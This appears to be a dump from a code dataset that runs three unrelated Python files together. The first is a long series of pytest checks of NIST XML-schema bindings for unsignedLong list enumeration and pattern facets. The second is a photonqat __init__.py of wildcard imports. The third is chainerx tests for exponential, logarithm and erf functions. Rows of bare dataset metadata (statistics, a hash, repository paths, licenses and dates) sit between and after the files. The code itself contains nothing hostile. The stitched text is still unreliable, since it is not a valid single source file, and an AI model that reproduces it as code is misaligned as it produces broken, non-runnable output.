def test_list_unsigned_long_enumeration_nistxml_sv_iv_list_unsigned_long_enumeration_1_1(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-1.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-1-1.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_nistxml_sv_iv_list_unsigned_long_enumeration_1_2(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-1.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-1-2.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_nistxml_sv_iv_list_unsigned_long_enumeration_1_3(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-1.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-1-3.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_nistxml_sv_iv_list_unsigned_long_enumeration_1_4(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-1.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-1-4.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_nistxml_sv_iv_list_unsigned_long_enumeration_1_5(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-1.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-1-5.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_4_nistxml_sv_iv_list_unsigned_long_pattern_5_1(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{4} \d{7} \d{10} \d{13} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-5.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-5-1.xml",
class_name="NistschemaSvIvListUnsignedLongPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_4_nistxml_sv_iv_list_unsigned_long_pattern_5_2(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{4} \d{7} \d{10} \d{13} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-5.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-5-2.xml",
class_name="NistschemaSvIvListUnsignedLongPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_4_nistxml_sv_iv_list_unsigned_long_pattern_5_3(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{4} \d{7} \d{10} \d{13} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-5.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-5-3.xml",
class_name="NistschemaSvIvListUnsignedLongPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_4_nistxml_sv_iv_list_unsigned_long_pattern_5_4(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{4} \d{7} \d{10} \d{13} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-5.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-5-4.xml",
class_name="NistschemaSvIvListUnsignedLongPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_4_nistxml_sv_iv_list_unsigned_long_pattern_5_5(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{4} \d{7} \d{10} \d{13} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-5.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-5-5.xml",
class_name="NistschemaSvIvListUnsignedLongPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_3_nistxml_sv_iv_list_unsigned_long_pattern_4_1(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{4} \d{7} \d{10} \d{13} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-4.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-4-1.xml",
class_name="NistschemaSvIvListUnsignedLongPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_3_nistxml_sv_iv_list_unsigned_long_pattern_4_2(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{4} \d{7} \d{10} \d{13} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-4.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-4-2.xml",
class_name="NistschemaSvIvListUnsignedLongPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_3_nistxml_sv_iv_list_unsigned_long_pattern_4_3(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{4} \d{7} \d{10} \d{13} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-4.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-4-3.xml",
class_name="NistschemaSvIvListUnsignedLongPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_3_nistxml_sv_iv_list_unsigned_long_pattern_4_4(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{4} \d{7} \d{10} \d{13} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-4.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-4-4.xml",
class_name="NistschemaSvIvListUnsignedLongPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_3_nistxml_sv_iv_list_unsigned_long_pattern_4_5(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{4} \d{7} \d{10} \d{13} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-4.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-4-5.xml",
class_name="NistschemaSvIvListUnsignedLongPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_2_nistxml_sv_iv_list_unsigned_long_pattern_3_1(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{3} \d{5} \d{7} \d{9} \d{11} \d{13} \d{15} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-3.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-3-1.xml",
class_name="NistschemaSvIvListUnsignedLongPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_2_nistxml_sv_iv_list_unsigned_long_pattern_3_2(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{3} \d{5} \d{7} \d{9} \d{11} \d{13} \d{15} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-3.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-3-2.xml",
class_name="NistschemaSvIvListUnsignedLongPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_2_nistxml_sv_iv_list_unsigned_long_pattern_3_3(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{3} \d{5} \d{7} \d{9} \d{11} \d{13} \d{15} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-3.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-3-3.xml",
class_name="NistschemaSvIvListUnsignedLongPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_2_nistxml_sv_iv_list_unsigned_long_pattern_3_4(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{3} \d{5} \d{7} \d{9} \d{11} \d{13} \d{15} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-3.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-3-4.xml",
class_name="NistschemaSvIvListUnsignedLongPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_2_nistxml_sv_iv_list_unsigned_long_pattern_3_5(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{3} \d{5} \d{7} \d{9} \d{11} \d{13} \d{15} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-3.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-3-5.xml",
class_name="NistschemaSvIvListUnsignedLongPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_1_nistxml_sv_iv_list_unsigned_long_pattern_2_1(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{3} \d{5} \d{7} \d{9} \d{11} \d{13} \d{15} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-2.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-2-1.xml",
class_name="NistschemaSvIvListUnsignedLongPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_1_nistxml_sv_iv_list_unsigned_long_pattern_2_2(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{3} \d{5} \d{7} \d{9} \d{11} \d{13} \d{15} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-2.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-2-2.xml",
class_name="NistschemaSvIvListUnsignedLongPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_1_nistxml_sv_iv_list_unsigned_long_pattern_2_3(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{3} \d{5} \d{7} \d{9} \d{11} \d{13} \d{15} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-2.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-2-3.xml",
class_name="NistschemaSvIvListUnsignedLongPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_1_nistxml_sv_iv_list_unsigned_long_pattern_2_4(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{3} \d{5} \d{7} \d{9} \d{11} \d{13} \d{15} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-2.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-2-4.xml",
class_name="NistschemaSvIvListUnsignedLongPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_1_nistxml_sv_iv_list_unsigned_long_pattern_2_5(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{3} \d{5} \d{7} \d{9} \d{11} \d{13} \d{15} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-2.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-2-5.xml",
class_name="NistschemaSvIvListUnsignedLongPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_nistxml_sv_iv_list_unsigned_long_pattern_1_1(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{3} \d{5} \d{7} \d{9} \d{11} \d{13} \d{15} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-1.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-1-1.xml",
class_name="NistschemaSvIvListUnsignedLongPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_nistxml_sv_iv_list_unsigned_long_pattern_1_2(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{3} \d{5} \d{7} \d{9} \d{11} \d{13} \d{15} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-1.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-1-2.xml",
class_name="NistschemaSvIvListUnsignedLongPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_nistxml_sv_iv_list_unsigned_long_pattern_1_3(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{3} \d{5} \d{7} \d{9} \d{11} \d{13} \d{15} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-1.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-1-3.xml",
class_name="NistschemaSvIvListUnsignedLongPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_nistxml_sv_iv_list_unsigned_long_pattern_1_4(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{3} \d{5} \d{7} \d{9} \d{11} \d{13} \d{15} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-1.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-1-4.xml",
class_name="NistschemaSvIvListUnsignedLongPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_pattern_nistxml_sv_iv_list_unsigned_long_pattern_1_5(mode, save_output, output_format):
r"""
Type list/unsignedLong is restricted by facet pattern with value \d{1}
\d{3} \d{5} \d{7} \d{9} \d{11} \d{13} \d{15} \d{18}.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-pattern-1.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-pattern-1-5.xml",
class_name="NistschemaSvIvListUnsignedLongPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
| 41.147581
| 131
| 0.719976
| 87,031
| 676,960
| 5.337857
| 0.004516
| 0.025831
| 0.051662
| 0.064577
| 0.999927
| 0.999927
| 0.998259
| 0.998259
| 0.997774
| 0.997774
| 0
| 0.023129
| 0.169093
| 676,960
| 16,451
| 132
| 41.150082
| 0.802767
| 0.123292
| 0
| 0.714222
| 0
| 0.178555
| 0.391446
| 0.370638
| 0
| 0
| 0
| 0
| 0.089367
| 1
| 0.089278
| false
| 0
| 0.000089
| 0
| 0.089367
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
54c22a4a89d49d681a3084b3fcfbf5b1bbae65c2
| 89
|
py
|
Python
|
blueqat/photonqat/__init__.py
|
minatoyuichiro/Blueqat
|
1be0150ca48bf40527936561d1bf4687dbf435b4
|
[
"Apache-2.0"
] | 25
|
2018-09-16T22:54:48.000Z
|
2019-02-22T01:21:30.000Z
|
blueqat/photonqat/__init__.py
|
mdrft/blueqat
|
6c5f26b377bc3ce0d02adec8b9132d70870b3d95
|
[
"Apache-2.0"
] | 22
|
2018-09-20T02:47:56.000Z
|
2019-02-08T05:25:30.000Z
|
blueqat/photonqat/__init__.py
|
mdrft/blueqat
|
6c5f26b377bc3ce0d02adec8b9132d70870b3d95
|
[
"Apache-2.0"
] | 5
|
2019-12-14T08:39:03.000Z
|
2021-06-30T06:51:24.000Z
|
from photonqat.Gaussian import *
from photonqat.Fock import *
from photonqat.opt import *
| 29.666667
| 32
| 0.808989
| 12
| 89
| 6
| 0.5
| 0.541667
| 0.527778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.123596
| 89
| 3
| 33
| 29.666667
| 0.923077
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
b73926421442db6df078da8a88ff2ecf727e2a81
| 8,303
|
py
|
Python
|
tests/chainerx_tests/unit_tests/routines_tests/test_explog.py
|
zaltoprofen/chainer
|
3b03f9afc80fd67f65d5e0395ef199e9506b6ee1
|
[
"MIT"
] | 3,705
|
2017-06-01T07:36:12.000Z
|
2022-03-30T10:46:15.000Z
|
tests/chainerx_tests/unit_tests/routines_tests/test_explog.py
|
zaltoprofen/chainer
|
3b03f9afc80fd67f65d5e0395ef199e9506b6ee1
|
[
"MIT"
] | 5,998
|
2017-06-01T06:40:17.000Z
|
2022-03-08T01:42:44.000Z
|
tests/chainerx_tests/unit_tests/routines_tests/test_explog.py
|
zaltoprofen/chainer
|
3b03f9afc80fd67f65d5e0395ef199e9506b6ee1
|
[
"MIT"
] | 1,150
|
2017-06-02T03:39:46.000Z
|
2022-03-29T02:29:32.000Z
|
import chainer
import chainerx
import numpy
from chainerx_tests import math_utils
from chainerx_tests import op_utils
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
chainer.testing.product([
chainer.testing.from_pytest_parameterize(
'shape', [
(2, 2),
(3, 3, 3),
(5, 5, 5),
(4, 1, 2, 4)
]),
chainer.testing.from_pytest_parameterize(
'in_dtypes,out_dtype', math_utils.in_out_dtypes_math_functions)
])
))
class TestErf(op_utils.ChainerOpTest):
dodge_nondifferentiable = True
def setup(self, float_dtype):
dtype = float_dtype
if dtype == 'float16':
self.check_forward_options.update({'rtol': 1e-3, 'atol': 1e-3})
self.check_backward_options.update({'rtol': 5e-2, 'atol': 5e-2})
self.check_double_backward_options.update({
'rtol': 5e-2, 'atol': 5e-2})
self.dtype = dtype
def generate_inputs(self):
shape = self.shape
dtype = self.dtype
x = numpy.random.normal(-1, 1, shape).astype(dtype)
return x,
def forward_chainerx(self, inputs):
x, = inputs
y = chainerx.erf(x)
return y,
def forward_chainer(self, inputs):
x, = inputs
y = chainer.functions.erf(x)
return y,
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (1,), (1, 1, 1), (2, 3)],
'in_dtypes,out_dtype': math_utils.in_out_dtypes_math_functions,
'input': [0, 2, -2],
})
# Special shapes (array.size = 0)
+ chainer.testing.product({
'shape': [(0), (2, 0, 3)],
'in_dtypes,out_dtype': math_utils.in_out_dtypes_math_functions,
'input': [0, 2, -2],
'check_numpy_strides_compliance': [False],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': math_utils.in_out_float_dtypes_math_functions,
'input': [float('inf'), -float('inf'), float('nan')],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestExp(math_utils.UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.exp(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (1,), (1, 1, 1), (2, 3)],
'in_dtypes,out_dtype': math_utils.in_out_dtypes_math_functions,
'input': [0, 2, -2],
})
# Special shapes (array.size = 0)
+ chainer.testing.product({
'shape': [(0), (2, 0, 3)],
'in_dtypes,out_dtype': math_utils.in_out_dtypes_math_functions,
'input': [0, 2, -2],
'check_numpy_strides_compliance': [False],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': math_utils.in_out_float_dtypes_math_functions,
'input': [float('inf'), -float('inf'), float('nan')],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestExpm1(math_utils.UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.expm1(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (1,), (1, 1, 1), (2, 3)],
'in_dtypes,out_dtype': math_utils.in_out_dtypes_math_functions,
'input': [0, 2, -2],
})
# Special shapes (array.size = 0)
+ chainer.testing.product({
'shape': [(0), (2, 0, 3)],
'in_dtypes,out_dtype': math_utils.in_out_dtypes_math_functions,
'input': [0, 2, -2],
'check_numpy_strides_compliance': [False],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': math_utils.in_out_float_dtypes_math_functions,
'input': [float('inf'), -float('inf'), float('nan')],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestExp2(math_utils.UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.exp2(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (1,), (1, 1, 1), (2, 3)],
'in_dtypes,out_dtype': math_utils.in_out_dtypes_math_functions,
'input': [1, 3],
})
# Special shapes (array.size = 0)
+ chainer.testing.product({
'shape': [(0,), (2, 0, 3)],
'in_dtypes,out_dtype': math_utils.in_out_dtypes_math_functions,
'input': [1, 3],
'check_numpy_strides_compliance': [False],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': math_utils.in_out_float_dtypes_math_functions,
'input': [float('inf'), -float('inf'), float('nan'), -1, 0],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestLog(math_utils.UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.log(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (1,), (1, 1, 1), (2, 3)],
'in_dtypes,out_dtype': math_utils.in_out_dtypes_math_functions,
'input': [1, 3],
})
# Special shapes (array.size = 0)
+ chainer.testing.product({
'shape': [(0,), (2, 0, 3)],
'in_dtypes,out_dtype': math_utils.in_out_dtypes_math_functions,
'input': [1, 3],
'check_numpy_strides_compliance': [False],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': math_utils.in_out_float_dtypes_math_functions,
'input': [float('inf'), -float('inf'), float('nan'), -1, 0],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestLog10(math_utils.UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.log10(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (1,), (1, 1, 1), (2, 3)],
'in_dtypes,out_dtype': math_utils.in_out_float_dtypes_math_functions,
'input': [1, 3],
})
# Special shapes (array.size = 0)
+ chainer.testing.product({
'shape': [(0,), (2, 0, 3)],
'in_dtypes,out_dtype': math_utils.in_out_float_dtypes_math_functions,
'input': [1, 3],
'check_numpy_strides_compliance': [False],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': math_utils.in_out_float_dtypes_math_functions,
'input': [float('inf'), -float('inf'), float('nan'), -1, 0],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestLog2(math_utils.UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.log2(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (1,), (1, 1, 1), (2, 3)],
'in_dtypes,out_dtype': math_utils.in_out_float_dtypes_math_functions,
'input': [1, 3],
})
# Special shapes (array.size = 0)
+ chainer.testing.product({
'shape': [(0,), (2, 0, 3)],
'in_dtypes,out_dtype': math_utils.in_out_float_dtypes_math_functions,
'input': [1, 3],
'check_numpy_strides_compliance': [False],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': math_utils.in_out_float_dtypes_math_functions,
'input': [float('inf'), -float('inf'), float('nan'), -1, 0],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestLog1p(math_utils.UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.log1p(a)
| 31.570342
| 77
| 0.592196
| 1,042
| 8,303
| 4.456814
| 0.086372
| 0.096469
| 0.099483
| 0.075797
| 0.875108
| 0.851852
| 0.851852
| 0.851852
| 0.851852
| 0.851852
| 0
| 0.029783
| 0.235698
| 8,303
| 262
| 78
| 31.69084
| 0.702017
| 0.05215
| 0
| 0.77619
| 0
| 0
| 0.172018
| 0.049057
| 0
| 0
| 0
| 0
| 0
| 1
| 0.052381
| false
| 0
| 0.02381
| 0.033333
| 0.166667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
